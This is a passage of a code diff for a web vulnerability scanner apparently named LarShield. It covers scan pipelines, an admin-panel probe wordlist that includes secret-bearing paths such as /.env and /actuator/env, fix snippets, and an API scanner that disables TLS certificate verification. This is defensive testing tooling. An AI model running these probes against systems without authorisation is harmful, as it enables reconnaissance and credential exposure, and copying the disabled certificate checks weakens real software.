PathTraversalScanner, {}), + ("lfi", LfiScanner, {}), + ("nikto", NiktoScanner, {}), + ("sql_injection", SqlInjectionScanner, {}), + ("subdom", SubdomainScanner, {}), + ("custom_website", CustomWebsiteScanner, {}), + ("attack_surface", AttackSurfaceScanner, {}), + ("api", ApiScanner, {}), + ("cloud", CloudScanner, {}), + ("secrets", SecretsScanner, {}), + ("cve", CveScanner, {}), + ("ssrf", SsrfScanner, {}), + ("jwt", JwtScanner, {}), + ("csrf", CsrfScanner, {}), + ("open_redirect", OpenRedirectScanner, {}), + ("rate_limiting", RateLimitingScanner, {}), + ("ai_remediation", AiRemediationScanner, {}), + ], + + # โ”€โ”€ Deep: exhaustive + ZAP active (~2 h) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + "Deep": [ + ("headers", HeadersScanner, {}), + ("nmap", NmapScanner, {"mode": "deep"}), + ("sslyze", SslyzeScanner, {}), + ("tech", TechScanner, {}), + ("whatweb", WhatWebScanner, {}), + ("whois", WhoisScanner, {}), + ("dns_security", DNSSecurityScanner, {}), + ("cookies", CookieScanner, {}), + ("csp", CspScanner, {}), + ("clickjacking", ClickjackingScanner, {}), + ("cors", CorsScanner, {}), + ("robots", RobotsScanner, {}), + ("directory", DirectoryScanner, {}), + ("waf", WafScanner, {}), + ("auth", AuthScanner, {}), + ("session", SessionScanner, {}), + ("git_exposure", GitExposureScanner, {}), + ("dependency", DependencyScanner, {}), + ("fuzzer", FuzzerScanner, {"red_team": True}), + ("path_traversal", PathTraversalScanner, {}), + ("lfi", LfiScanner, {}), + ("nikto", NiktoScanner, {}), + ("subdom", SubdomainScanner, {}), + ("custom_website", CustomWebsiteScanner, {}), + ("attack_surface", AttackSurfaceScanner, {}), + ("api", ApiScanner, {}), + ("cloud", CloudScanner, {}), + ("secrets", SecretsScanner, {}), + ("cve", CveScanner, {}), + ("xxe", XxeScanner, {}), + ("ssrf", SsrfScanner, {}), + ("jwt", JwtScanner, {}), + ("ssti", SstiScanner, {}), + ("csrf", CsrfScanner, {}), + ("open_redirect", OpenRedirectScanner, {}), + ("idor", IdorScanner, {}), + ("graphql", GraphqlScanner, {}), + ("race_condition", RaceConditionScanner, {}), + ("request_smuggling", RequestSmugglingScanner,{}), + ("business_logic", BusinessLogicScanner, {}), + ("websocket", WebsocketScanner, {}), + ("rate_limiting", RateLimitingScanner, {}), + ("subdomain_takeover",SubdomainTakeoverScanner,{}), + ("host_header", HostHeaderScanner, {}), + ("deserialization", DeserializationScanner,{}), + ("command_injection", CommandInjectionScanner,{}), + ("sql_injection", SqlInjectionScanner, {}), + ("crlf", CrlfScanner, {}), + ("cms", CmsScanner, {}), + ("file_upload", FileUploadScanner, {}), + ("nosql", NosqlScanner, {}), + ("cache_poisoning", CachePoisoningScanner, {}), + ("oauth", OauthScanner, {}), + ("prototype_pollution",PrototypePollutionScanner,{}), + ("source_map", SourceMapScanner, {}), + ("swagger", SwaggerScanner, {}), + ("email_security", EmailSecurityScanner, {}), + ("xpath", XpathScanner, {}), + ("broken_link", BrokenLinkScanner, {}), + ("sri", SriScanner, {}), + ("mfa_bypass", MfaBypassScanner, {}), + ("mass_assignment", MassAssignmentScanner, {}), + ("http_pollution", HttpPollutionScanner, {}), + ("dns_rebinding", DnsRebindingScanner, {}), + ("exif", ExifScanner, {}), + ("tls_weakness", TlsWeaknessScanner, {}), + ("cert_transparency", CertTransparencyScanner,{}), + ("redos", RedosScanner, {}), + ("dom_xss", DomXssScanner, {}), + ("saml", SamlScanner, {}), + ("cache_deception", WebCacheDeceptionScanner,{}), + ("http_methods", HttpMethodTamperingScanner,{}), + ("bypass_403", Bypass403Scanner, {}), + ("ldap", LdapScanner, {}), + ("blind_xss", BlindXssScanner, {}), + ("admin_panel", AdminPanelScanner, {}), + ("csti", CstiScanner, {}), + ("postmessage", PostmessageScanner, {}), + ("password_reset", PasswordResetScanner, {}), + ("cache_control", CacheControlScanner, {}), + ("second_order", SecondOrderScanner, {}), + ("webrtc", WebrtcLeakScanner, {}), + ("service_worker", ServiceWorkerScanner, {}), + ("compliance", ComplianceScanner, {}), + ("nuclei", NucleiScanner, {"severity": "critical,high,medium,low"}), + ("zap", ZapScanner, {"mode": "active"}), + # โ”€โ”€ Advanced Techniques โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + ("h2_desync", Http2DesyncScanner, {}), + ("js_supply_chain", JsSupplyChainScanner, {}), + ("api_security", ApiSecurityScanner, {}), + ("ai_remediation", AiRemediationScanner, {}), # LAST + ], + + # Legacy aliases + "Standard": None, + "Full": None, + "SSL": None, + "OWASP": None, + "Port": None, +} + +# Resolve aliases +PIPELINES["Standard"] = PIPELINES["Advanced"] +PIPELINES["Full"] = PIPELINES["Advanced"] +PIPELINES["OWASP"] = PIPELINES["Advanced"] +PIPELINES["Port"] = [("nmap", NmapScanner, {"mode": "standard"})] +PIPELINES["SSL"] = [ + ("sslyze", SslyzeScanner, {}), + ("headers", HeadersScanner, {}), + ("csp", CspScanner, {}), + ("clickjacking",ClickjackingScanner, {}), +] + + +CRAWLER_SCANNERS = frozenset({ + "fuzzer", "path_traversal", "lfi", "ssti", + "open_redirect", "csrf", "attack_surface", + "sql_injection", +}) + +SCAN_TYPE_DEFAULT_DEPTH = { + "Quick": 3, + "Advanced": 10, + "Deep": 20, + "Standard": 10, +} + + +# --------------------------------------------------------------------------- +# Phase definitions โ€” controls execution order within each scan type. +# Each phase runs its modules CONCURRENTLY, phases run SEQUENTIALLY. +# AI remediation is always last; heavy tools (ZAP/Nuclei) are second-to-last. +# --------------------------------------------------------------------------- +SCAN_PHASES = { + # โ”€โ”€ Quick (2 phases, ~2 min total) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + "Quick": [ + { + "name": "Phase 1: Recon & Headers", + "keys": {"headers", "nmap", "sslyze", "tech", "whois", "waf", + "dns_security", "git_exposure"}, + }, + { + "name": "Phase 2: Config & Policy", + "keys": {"cookies", "csp", "clickjacking", "compliance", "ai_remediation"}, + }, + ], + + # โ”€โ”€ Advanced (4 phases, ~10-20 min total) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + "Advanced": [ + { + "name": "Phase 1: Recon & Fingerprinting", + "keys": {"headers", "nmap", "sslyze", "tech", "whatweb", "whois", + "waf", "dns_security", "git_exposure", "cloud", "cve", + "robots", "cors"}, + }, + { + "name": "Phase 2: Auth & Session", + "keys": {"auth", "session", "cookies", "csp", "clickjacking", + "compliance", "dependency", "jwt", "csrf"}, + }, + { + "name": "Phase 3: Injection & Crawl", + "keys": {"sql_injection", "ssrf", "fuzzer", "path_traversal", + "lfi", "nikto", "open_redirect", "subdom", + "custom_website", "attack_surface", "api", + "secrets", "rate_limiting"}, + }, + { + "name": "Phase 4: AI Analysis", + "keys": {"ai_remediation"}, + }, + ], + + # โ”€โ”€ Deep (8 phases, ~2h total) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + "Deep": [ + { + "name": "Phase 1: Recon & Fingerprinting", + "keys": {"headers", "nmap", "sslyze", "tech", "whatweb", "whois", + "dns_security", "waf", "cloud", "cve", "cert_transparency", + "robots", "tls_weakness", "exif", "source_map", + "email_security", "sri"}, + }, + { + "name": "Phase 2: Auth, Session & Config", + "keys": {"auth", "session", "cookies", "csp", "clickjacking", + "git_exposure", "dependency", "compliance", "cors", + "jwt", "oauth", "saml", "mfa_bypass", "password_reset"}, + }, + { + "name": "Phase 3: Injection Attacks", + "keys": {"sql_injection", "xxe", "ssrf", "ssti", "command_injection", + "nosql", "xpath", "ldap", "crlf", "lfi", + "path_traversal", "deserialization", "redos"}, + }, + { + "name": "Phase 4: Crawl, Directory & Discovery", + "keys": {"fuzzer", "directory", "subdom", "subdomain_takeover", + "attack_surface", "custom_website", "api", "swagger", + "nikto", "broken_link", "admin_panel", "cms", + "graphql", "api_security"}, + }, + { + "name": "Phase 5: Logic, Access Control & Rate", + "keys": {"idor", "csrf", "open_redirect", "business_logic", + "race_condition", "rate_limiting", "mass_assignment", + "bypass_403", "request_smuggling", "websocket", + "file_upload", "second_order"}, + }, + { + "name": "Phase 6: Client-Side & Protocol", + "keys": {"host_header", "http_methods", "http_pollution", + "cache_poisoning", "cache_deception", "cache_control", + "dom_xss", "blind_xss", "csti", "postmessage", + "prototype_pollution", "dns_rebinding", "h2_desync", + "js_supply_chain", "service_worker", "webrtc", + "secrets"}, + }, + { + "name": "Phase 7: Heavy Scanners (ZAP & Nuclei)", + "keys": {"nuclei", "zap"}, + }, + { + "name": "Phase 8: AI Analysis", + "keys": {"ai_remediation"}, + }, + ], +} + +# Resolve aliases for phases +SCAN_PHASES["Standard"] = SCAN_PHASES["Advanced"] +SCAN_PHASES["Full"] = SCAN_PHASES["Advanced"] +SCAN_PHASES["OWASP"] = SCAN_PHASES["Advanced"] +SCAN_PHASES["SSL"] = [ + {"name": "Phase 1: SSL/TLS Checks", + "keys": {"sslyze", "headers", "csp", "clickjacking"}}, +] +SCAN_PHASES["Port"] = [ + {"name": "Phase 1: Port Scan", + "keys": {"nmap"}}, +] + + +def get_phases(scan_type: str) -> list: + """Return the ordered phase list for the given scan type.""" + return SCAN_PHASES.get(scan_type, SCAN_PHASES["Advanced"]) + + +def get_pipeline(scan_type: str) -> list: + """Return the scanner pipeline for the given scan_type string.""" + return PIPELINES.get(scan_type, PIPELINES["Advanced"]) + + +def apply_scan_options(pipeline: list, scan_type: str, scan_options: dict | None) -> list: + """Merge user scan options (crawl depth, exclusions, red-team) into pipeline kwargs.""" + options = scan_options or {} + crawl_depth = options.get("crawl_depth") + if crawl_depth is None: + crawl_depth = SCAN_TYPE_DEFAULT_DEPTH.get(scan_type, 10) + else: + crawl_depth = max(1, min(int(crawl_depth), 20)) + + exclude_paths = options.get("exclude_paths") or [] + enable_red_team = options.get("enable_red_team", False) + + updated = [] + for name, cls, kwargs in pipeline: + merged = dict(kwargs) + if name in CRAWLER_SCANNERS: + merged["max_depth"] = crawl_depth + merged["exclude_paths"] = exclude_paths + if name == "fuzzer" and (enable_red_team or merged.get("red_team")): + merged["red_team"] = True + updated.append((name, cls, merged)) + return updated + + +def build_scanner(name, cls, kwargs, scan_id, target, domain, auth_headers=None): + """Instantiate a scanner with the correct kwargs.""" + return cls(scan_id=scan_id, target=target, domain=domain, + auth_headers=auth_headers, **kwargs) diff --git a/backend/scanners/admin_panel_scanner.py b/backend/scanners/admin_panel_scanner.py new file mode 100644 index 0000000000000000000000000000000000000000..5339d5231b5a951485198a162c9d596245c4994b --- /dev/null +++ b/backend/scanners/admin_panel_scanner.py @@ -0,0 +1,195 @@ +""" +admin_panel_scanner.py โ€” Admin Panel & Exposed Dashboard Scanner +================================================================ +PHASE 1: Baseline filtering added โ€” only reports panels that are NOT the + site's generic SPA catch-all response. +PHASE 2: Content-signature validation for product-specific panels. + +Probes a targeted wordlist of admin, monitoring, and developer dashboards +that are often left exposed. More targeted than the generic directory scanner. +""" +import urllib.request, urllib.error +from scanners.base_scanner import BaseScanner +from scanners.core.signatures import matches_signature + +ADMIN_PATHS = [ + # Generic admin panels + "/admin", "/admin/", "/admin/login", "/admin/dashboard", + "/_admin", "/administrator", "/admincp", "/admin1", "/admin2", + "/backend", "/backend/login", "/manage", "/management", + "/control", "/controlpanel", "/cp", "/cpanel", + # PHP tooling + "/phpmyadmin", "/pma", "/phpMyAdmin", "/phpmyadmin/", "/mysql", + "/adminer", "/adminer.php", "/db", "/database", + # Python/Django + "/django-admin", "/django/admin", "/_admin/", + # Java / Spring / JEE + "/manager", "/manager/html", "/host-manager", "/console", + "/actuator", "/actuator/health", "/actuator/env", + "/actuator/beans", "/actuator/mappings", "/actuator/info", + "/jolokia", "/jolokia/list", "/druid", "/druid/login.html", + # CI/CD & DevOps + "/jenkins", "/jenkins/", "/jenkins/login", + "/gitlab", "/gitlab/users/sign_in", + "/sonarqube", "/sonar", + # Monitoring / Observability + "/grafana", "/grafana/login", + "/kibana", "/kibana/app/kibana", + "/prometheus", "/metrics", "/_prometheus/metrics", + "/jaeger", "/zipkin", + # Messaging & Queues + "/rabbitmq", "/rabbitmq-management", + "/activemq", "/activemq/admin", + "/kafka", "/kafka-ui", + # Container / Cloud + "/portainer", "/rancher", "/kubernetes", + "/_cluster/health", "/_cat/nodes", # Elasticsearch + # CMS / CRM + "/wp-admin", "/wp-login.php", + "/typo3", "/typo3/backend", + "/joomla/administrator", "/index.php?option=com_admin", + # Misc + "/setup", "/setup.php", "/install", "/install.php", + "/config", "/config.php", "/.env", "/server-status", + "/server-info", "/status", "/info.php", "/phpinfo.php", +] + +ADMIN_KEYWORDS = [ + "login", "dashboard", "admin", "username", "password", + "sign in", "control panel", "management", "welcome back", + " list: + self.log("INFO", f"[AdminPanel] Probing {len(ADMIN_PATHS)} admin/dashboard paths on {self.target}...") + base = self.target.rstrip("/") + found = [] + + for path in ADMIN_PATHS: + url = base + path + status, body = self._probe(url) + + if status == 200 and body is not None: + # PHASE 1: Suppress if response is the site's SPA/404 catch-all + if self._is_baseline(status, body): + self.log("INFO", f"[AdminPanel] SUPPRESSED (baseline match, {len(body)}b): {url}") + continue + + # Minimum content threshold โ€” avoid near-empty redirect bodies + if len(body) < 200: + self.log("INFO", f"[AdminPanel] SKIPPED (body too small, {len(body)}b): {url}") + continue + + # PHASE 2: Product-specific signature check + sig_key = _PATH_SIG_MAP.get(path) + if sig_key: + if not matches_signature(sig_key, body, log_fn=lambda m: self.log("INFO", m), url=url): + continue + else: + # Generic admin check: must contain admin keywords AND a form element + body_lower = body.lower() + has_keyword = any(kw.lower() in body_lower for kw in ADMIN_KEYWORDS) + has_form = " {effort_hours, stack_hints, code_example} +KNOWLEDGE_BASE = { + "missing security header": { + "effort": 0.5, + "tags": ["headers", "quick-win"], + "code": { + "nginx": 'add_header {HEADER} "{VALUE}" always;', + "apache": 'Header always set {HEADER} "{VALUE}"', + "express": 'app.use(helmet()); // npm install helmet', + "django": 'SECURE_BROWSER_XSS_FILTER = True # settings.py', + "laravel": '// Use spatie/laravel-csp package', + }, + }, + "content security policy": { + "effort": 4, + "tags": ["csp", "medium-effort"], + "code": { + "nginx": "add_header Content-Security-Policy \"default-src 'self'; script-src 'self' 'nonce-{RANDOM}'\" always;", + "express": "app.use(helmet.contentSecurityPolicy({directives:{defaultSrc:[\"'self'\"]}}));", + }, + }, + "sql injection": { + "effort": 8, + "tags": ["injection", "critical", "high-effort"], + "code": { + "python": "cursor.execute('SELECT * FROM users WHERE id = %s', (user_id,))", + "php": "$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?'); $stmt->execute([$id]);", + "node": "db.query('SELECT * FROM users WHERE id = $1', [userId])", + "java": "PreparedStatement ps = conn.prepareStatement(\"SELECT * FROM users WHERE id = ?\"); ps.setInt(1, id);", + }, + }, + "xss": { + "effort": 6, + "tags": ["injection", "high-effort"], + "code": { + "python": "from markupsafe import escape; safe = escape(user_input)", + "php": "echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');", + "node": "const he = require('he'); safe = he.encode(userInput);", + "react": "// React auto-escapes by default. Never use dangerouslySetInnerHTML.", + }, + }, + "csrf": { + "effort": 4, + "tags": ["csrf", "medium-effort"], + "code": { + "django": "{% csrf_token %} ", + "laravel": "@csrf ", + "express": "const csrf = require('csurf'); app.use(csrf());", + "flask": "from flask_wtf import CSRFProtect; csrf = CSRFProtect(app)", + }, + }, + "clickjacking": { + "effort": 0.5, + "tags": ["headers", "quick-win"], + "code": { + "nginx": "add_header X-Frame-Options \"DENY\" always;\nadd_header Content-Security-Policy \"frame-ancestors 'none'\" always;", + "apache": "Header always set X-Frame-Options \"DENY\"", + }, + }, + "ssl": { + "effort": 2, + "tags": ["tls", "medium-effort"], + "code": { + "nginx": "ssl_protocols TLSv1.2 TLSv1.3;\nssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;\nssl_prefer_server_ciphers off;", + "apache": "SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1\nSSLCipherSuite ECDHE-ECDSA-AES128-GCM-SHA256", + }, + }, + "hsts": { + "effort": 0.5, + "tags": ["headers", "quick-win"], + "code": { + "nginx": 'add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;', + "apache": 'Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"', + }, + }, + "open redirect": { + "effort": 3, + "tags": ["redirect", "medium-effort"], + "code": { + "python": "from urllib.parse import urlparse\nif urlparse(dest).netloc not in ALLOWED_HOSTS: dest = '/'", + "php": "$allowed = ['example.com'];\nif (!in_array(parse_url($url, PHP_URL_HOST), $allowed)) $url = '/';", + "node": "const allowed = ['example.com'];\nif (!allowed.includes(new URL(dest).hostname)) dest = '/';", + }, + }, + "cookie": { + "effort": 1, + "tags": ["cookies", "quick-win"], + "code": { + "nginx": "proxy_cookie_flags ~ Secure HttpOnly SameSite=Strict;", + "express": "res.cookie('session', val, {httpOnly:true, secure:true, sameSite:'strict'});", + "django": "SESSION_COOKIE_SECURE = True\nSESSION_COOKIE_HTTPONLY = True\nSESSION_COOKIE_SAMESITE = 'Strict'", + "php": "session_set_cookie_params(['secure'=>true,'httponly'=>true,'samesite'=>'Strict']);", + }, + }, + "lfi": { + "effort": 6, + "tags": ["injection", "high-effort"], + "code": { + "php": "$allowed = ['home','about','contact'];\nif (!in_array($page, $allowed)) die('Forbidden');\ninclude \"pages/{$page}.php\";", + "python": "ALLOWED_PAGES = {'home': 'home.html', 'about': 'about.html'}\ntemplate = ALLOWED_PAGES.get(page_param, '404.html')", + }, + }, + "ssti": { + "effort": 8, + "tags": ["injection", "critical", "high-effort"], + "code": { + "python": "from jinja2.sandbox import SandboxedEnvironment\nenv = SandboxedEnvironment()\n# Never use render_template_string(user_input)", + "php": "// Use Twig sandbox:\n$policy = new SecurityPolicy($tags,$filters);\n$sandbox = new SandboxExtension($policy);\n$twig->addExtension($sandbox);", + }, + }, + "secret": { + "effort": 2, + "tags": ["secrets", "critical"], + "code": { + "general": "# Use environment variables:\nimport os\nAPI_KEY = os.environ['API_KEY']\n\n# Or a secrets manager:\n# AWS Secrets Manager, HashiCorp Vault, Azure Key Vault", + }, + }, + "git": { + "effort": 1, + "tags": ["exposure", "quick-win"], + "code": { + "nginx": "location ~ /\\.(git|svn|hg|env) {\n deny all;\n return 404;\n}", + "apache": "RedirectMatch 404 /\\.git\nRedirectMatch 404 /\\.env", + }, + }, + "dependency": { + "effort": 3, + "tags": ["dependencies", "medium-effort"], + "code": { + "node": "npm audit fix\nnpm update\n# Or: npx npm-check-updates -u && npm install", + "python": "pip install --upgrade pip\npip list --outdated\npip install safety && safety check", + "php": "composer update\ncomposer audit", + }, + }, + "rate limit": { + "effort": 3, + "tags": ["auth", "medium-effort"], + "code": { + "nginx": "limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;\nlimit_req zone=login burst=3 nodelay;", + "express": "const rateLimit = require('express-rate-limit');\napp.use('/login', rateLimit({windowMs:60000, max:5}));", + }, + }, +} + +EFFORT_LABELS = { + range(0, 1): "Quick Fix (< 1 hour)", + range(1, 4): "Short Sprint (1โ€“3 hours)", + range(4, 9): "Medium Task (4โ€“8 hours)", + range(9, 100): "Large Effort (> 8 hours)", +} + +def _effort_label(hours: float) -> str: + for r, label in EFFORT_LABELS.items(): + if int(hours) in r: + return label + return f"~{int(hours)} hours" + + +def _match_kb(title: str) -> dict | None: + title_lower = title.lower() + for keyword, entry in KNOWLEDGE_BASE.items(): + if keyword in title_lower: + return entry + return None + + +class AiRemediationScanner(BaseScanner): + SCANNER_NAME = "AI Remediation Generator" + _SCANNER_KEY = "ai_remediation" + + def __init__(self, scan_id, target, domain, **kwargs): + super().__init__(scan_id, target, domain, **kwargs) + self._openai_key = os.environ.get("OPENAI_API_KEY", "") + self._stack = self._detect_stack() + + # ------------------------------------------------------------------ + def run(self) -> list: + self.log("INFO", + f"[AI-Remediation] Generating remediation plan for {self.target}...") + self.log("INFO", + f"[AI-Remediation] Detected tech stack hint: {self._stack or 'unknown'}") + + try: + # Gather all vulns from the shared in-memory log for this scan + all_vulns = self._gather_all_vulns() + self.log("INFO", + f"[AI-Remediation] Processing {len(all_vulns)} finding(s) from pipeline...") + + if not all_vulns: + self.log("SUCCESS", + "[AI-Remediation] No findings to remediate โ€” clean scan!") + return self.vulns + + # Sort by CVSS score descending + sorted_vulns = sorted(all_vulns, + key=lambda v: float(v.get("cvss_score") or 0), reverse=True) + + remediation_items = [] + total_effort = 0.0 + + for i, vuln in enumerate(sorted_vulns[:30], 1): # top 30 + title = vuln.get("title", "") + severity= vuln.get("severity","Info") + cvss = float(vuln.get("cvss_score") or 0) + kb = _match_kb(title) + effort = kb["effort"] if kb else self._estimate_effort(cvss) + total_effort += effort + + code_hint = "" + if kb and kb.get("code"): + stack_code = kb["code"].get(self._stack) or \ + next(iter(kb["code"].values()), "") + if stack_code: + code_hint = f"\n\n**Fix Code ({self._stack or 'generic'}):**\n```\n{stack_code}\n```" + + remediation_items.append({ + "rank": i, + "title": title, + "severity": severity, + "cvss": cvss, + "effort": effort, + "effort_label": _effort_label(effort), + "tags": kb["tags"] if kb else [], + "code_hint": code_hint, + }) + + # โ”€โ”€ Generate AI-enhanced advice if API key is available โ”€โ”€โ”€โ”€ + if self._openai_key: + self._enhance_with_openai(remediation_items[:5]) + + # โ”€โ”€ Emit consolidated remediation plan as a finding โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + self._emit_plan(remediation_items, total_effort, sorted_vulns) + + except Exception as e: + self.log("WARNING", f"[AI-Remediation] Error: {e}") + + return self.vulns + + # ------------------------------------------------------------------ + def _gather_all_vulns(self) -> list: + """Collect all vulns from in-memory log for this scan_id. + NOTE: active_scan_logs stores plain strings, not dicts. + This method safely skips non-dict entries and always returns []. + The AI remediation plan is generated from self.vulns populated by + the orchestrator via scanner.py's _run_scan_job -> all_vulns flow. + """ + logs = active_scan_logs.get(self.scan_id, []) + seen = set() + vulns = [] + for entry in logs: + # Logs are plain strings โ€” skip any non-dict entries safely + if not isinstance(entry, dict): + continue + if entry.get("type") == "vuln": + key = entry.get("title", "") + entry.get("severity", "") + if key not in seen: + seen.add(key) + vulns.append(entry) + return vulns + + # ------------------------------------------------------------------ + def _detect_stack(self) -> str: + """Heuristic: probe the target and detect framework from headers/body.""" + try: + req = urllib.request.Request(self.target, + headers={"User-Agent": "LarShield/2.0 AI-Remediation"}) + with urllib.request.urlopen(req, timeout=6, context=self.get_ssl_context()) as r: + headers = {k.lower(): v.lower() for k, v in r.headers.items()} + body = r.read(4096).decode("utf-8", errors="ignore").lower() + + server = headers.get("server","") + powered = headers.get("x-powered-by","") + + if "php" in powered or "php" in server: return "php" + if "express" in powered or "node" in server: return "node" + if "django" in body or "csrfmiddlewaretoken" in body: return "python" + if "laravel" in body or "laravel_session" in headers.get("set-cookie",""): return "php" + if "asp.net" in powered or "asp.net" in server: return "aspnet" + if "java" in server or "tomcat" in server or "jsessionid" in headers.get("set-cookie",""): return "java" + if "rails" in server or "x-request-id" in headers: return "ruby" + except Exception as e: + print(f"ERROR: [AI] Framework detection error: {e}") + return "nginx" # default to nginx/generic + + # ------------------------------------------------------------------ + @staticmethod + def _estimate_effort(cvss: float) -> float: + if cvss >= 9.0: return 8.0 + if cvss >= 7.0: return 5.0 + if cvss >= 4.0: return 3.0 + return 1.0 + + # ------------------------------------------------------------------ + def _enhance_with_openai(self, top_items: list): + """Call OpenAI API to generate enhanced remediation for top 5 findings.""" + try: + prompt = ( + "You are a senior application security engineer. " + "For each finding below, provide a concise, specific fix in 2-3 sentences " + f"for a {self._stack} application:\n\n" + + "\n".join(f"{i+1}. [{v['severity']}] {v['title']} (CVSS {v['cvss']})" + for i, v in enumerate(top_items)) + ) + body = json.dumps({ + "model": "gpt-4o-mini", + "messages": [{"role": "user", "content": prompt}], + "max_tokens": 800, + "temperature": 0.3, + }).encode() + req = urllib.request.Request( + "https://api.openai.com/v1/chat/completions", + data=body, + headers={ + "Authorization": f"Bearer {self._openai_key}", + "Content-Type": "application/json", + }, + ) + with urllib.request.urlopen(req, timeout=20) as r: + resp = json.loads(r.read()) + ai_text = resp["choices"][0]["message"]["content"] + self.log("INFO", f"[AI-Remediation] OpenAI enhanced advice: {ai_text[:300]}...") + # Inject into first item + if top_items: + top_items[0]["ai_advice"] = ai_text + except Exception as e: + self.log("WARNING", f"[AI-Remediation] OpenAI call failed: {e}") + + # ------------------------------------------------------------------ + def _emit_plan(self, items: list, total_effort: float, all_vulns: list): + sev_counts = {} + for v in all_vulns: + s = v.get("severity","Info") + sev_counts[s] = sev_counts.get(s,0) + 1 + + quick_wins = [i for i in items if "quick-win" in i.get("tags",[])] + critical_items = [i for i in items if i["cvss"] >= 9.0] + + plan_lines = [ + f"# Remediation Plan โ€” {self.target}", + f"**Total findings processed:** {len(all_vulns)}", + f"**Detected stack:** {self._stack or 'unknown'}", + f"**Estimated total fix effort:** ~{int(total_effort)} hours", + "", + "## Severity Distribution", + *[f"- **{k}:** {v}" for k, v in sev_counts.items()], + "", + f"## โšก Quick Wins First ({len(quick_wins)} items, < 1h each)", + *[f"- [{qw['severity']}] **{qw['title']}** โ€” {qw['effort_label']}" for qw in quick_wins[:10]], + "", + f"## ๐Ÿšจ Critical Priority ({len(critical_items)} items)", + *[f"- CVSS {ci['cvss']} โ€” **{ci['title']}**" for ci in critical_items[:10]], + "", + "## Prioritized Remediation Roadmap", + ] + + for item in items[:20]: + code = item.get("code_hint","") + plan_lines.append( + f"\n### #{item['rank']} [{item['severity']}] {item['title']}\n" + f"**CVSS:** {item['cvss']} | **Effort:** {item['effort_label']} | " + f"**Tags:** {', '.join(item.get('tags',['general']))}" + f"{code}" + ) + + self.add_vuln( + title="AI-Generated Remediation Plan", + severity="Low", + category="Remediation Plan", + cvss_score=0.0, + description="\n".join(plan_lines), + remediation=( + "Execute the quick wins immediately (< 1 hour each). " + f"Address all Critical CVSS โ‰ฅ 9.0 items within 24 hours. " + f"Schedule the remaining {len(items)} items in your next sprint." + ), + ) + + self.log("SUCCESS", + f"[AI-Remediation] Plan generated: {len(items)} items, " + f"~{int(total_effort)}h total effort, " + f"{len(quick_wins)} quick wins, {len(critical_items)} critical.") diff --git a/backend/scanners/api_scanner.py b/backend/scanners/api_scanner.py new file mode 100644 index 0000000000000000000000000000000000000000..740e7ee87a3ab1c5015dcff328bdcd7ec50f5ba6 --- /dev/null +++ b/backend/scanners/api_scanner.py @@ -0,0 +1,169 @@ +import urllib.request, urllib.error, urllib.parse, ssl, json +from scanners.base_scanner import BaseScanner +from utils.fuzzer_engine import ContextAwareFuzzer + +class ApiScanner(BaseScanner): + SCANNER_NAME = "API & GraphQL Introspection Scanner" + + def __init__(self, scan_id, target, domain, **kwargs): + super().__init__(scan_id, target, domain, **kwargs) + self._ctx = ssl.create_default_context() + self._ctx.check_hostname = False + self._ctx.verify_mode = ssl.CERT_NONE + self._headers = {"User-Agent": "LarShield/2.0 API-Analyzer", "Content-Type": "application/json"} + if self.auth_headers: + self._headers.update(self.auth_headers) + self.base_url = target.rstrip("/") + self._fuzzer = ContextAwareFuzzer(self._api_fuzzer_req) + + def _api_fuzzer_req(self, url, params, headers=None): + data = urllib.parse.urlencode(params).encode("utf-8") if params else None + merged = {"Content-Type": "application/x-www-form-urlencoded"} + if headers: + merged.update(headers) + body, status = self._make_request(url, method="POST", data=data, headers=merged, timeout=8) + return body or "", status + + def _get(self, path): + url = f"{self.base_url}{path}" + try: + req = urllib.request.Request(url, headers=self._headers) + with urllib.request.urlopen(req, timeout=5, context=self._ctx) as resp: + return resp.read().decode("utf-8", errors="ignore"), resp.status + except urllib.error.HTTPError as e: + return e.read().decode("utf-8", errors="ignore") if e.fp else "", e.code + except Exception as e: + self.log("ERROR", f"[API] GET error: {e}") + return "", 0 + + def _post(self, path, payload): + url = f"{self.base_url}{path}" + try: + data = json.dumps(payload).encode('utf-8') + req = urllib.request.Request(url, data=data, headers=self._headers, method='POST') + with urllib.request.urlopen(req, timeout=5, context=self._ctx) as resp: + return resp.read().decode("utf-8", errors="ignore"), resp.status + except urllib.error.HTTPError as e: + return e.read().decode("utf-8", errors="ignore") if e.fp else "", e.code + except Exception as e: + self.log("ERROR", f"[API] POST error: {e}") + return "", 0 + + def check_swagger(self): + self.log("INFO", "[API] Hunting for exposed Swagger/OpenAPI documentation...") + paths = ["/swagger-ui.html", "/api-docs", "/v2/api-docs", "/openapi.json", "/api/swagger.json", "/docs"] + for path in paths: + body, status = self._get(path) + if status == 200 and ("swagger" in body.lower() or "openapi" in body.lower()): + self.log("CRITICAL", f"[API] Exposed API documentation found at {path}") + self.add_vuln( + 